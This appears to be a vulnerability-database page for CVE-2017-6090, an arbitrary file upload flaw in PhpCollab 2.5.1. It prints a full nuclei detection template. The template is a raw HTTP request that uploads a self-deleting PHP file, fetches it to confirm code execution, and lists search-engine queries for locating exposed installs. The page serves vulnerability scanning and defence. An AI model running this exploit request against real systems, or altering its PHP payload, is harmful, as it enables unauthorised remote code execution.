HexBrain

Browse / CVEs / CVE-2017-6090

CVE-2017-6090· phpcollab / phpcollab· CWE-434

PhpColl 2.5.1 Arbitrary File Upload

highseverity
8.8CVSS score
96.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.

Impact

Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.

Fix

Apply the latest patch or upgrade to a newer version of PhpColl to mitigate this vulnerability.

How to confirm it

Send: POST /clients/editclient.php?id={{randstr}}&action=update ; GET /logos_clients/{{randstr}}.php
Positive when: contains in body_2 "{{md5(string)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2017-6090 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-6090

info:
  name: PhpColl 2.5.1 Arbitrary File Upload
  author: pikpikcu
  severity: high
  description: PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
  remediation: |
    Apply the latest patch or upgrade to a newer version of PhpColl to mitigate this vulnerability.
  reference:
    - https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-6090
    - https://www.exploit-db.com/exploits/42934/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-6090
    cwe-id: CWE-434
    epss-score: 0.96385
    epss-percentile: 0.9988
    cpe: cpe:2.3:a:phpcollab:phpcollab:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpcollab
    product: phpcollab
    shodan-query:
      - http.title:"PhpCollab"
      - http.title:"phpcollab"
    fofa-query: title="phpcollab"
    google-query: intitle:"phpcollab"
  tags: cve,cve2017,phpcollab,rce,fileupload,edb,intrusive,vkev,vuln
variables:
  string: "CVE-2017-6090"

http:
  - raw:
      - |
        POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137

        -----------------------------154934846911423734231554128137
        Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        -----------------------------154934846911423734231554128137--
      - |
        GET /logos_clients/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from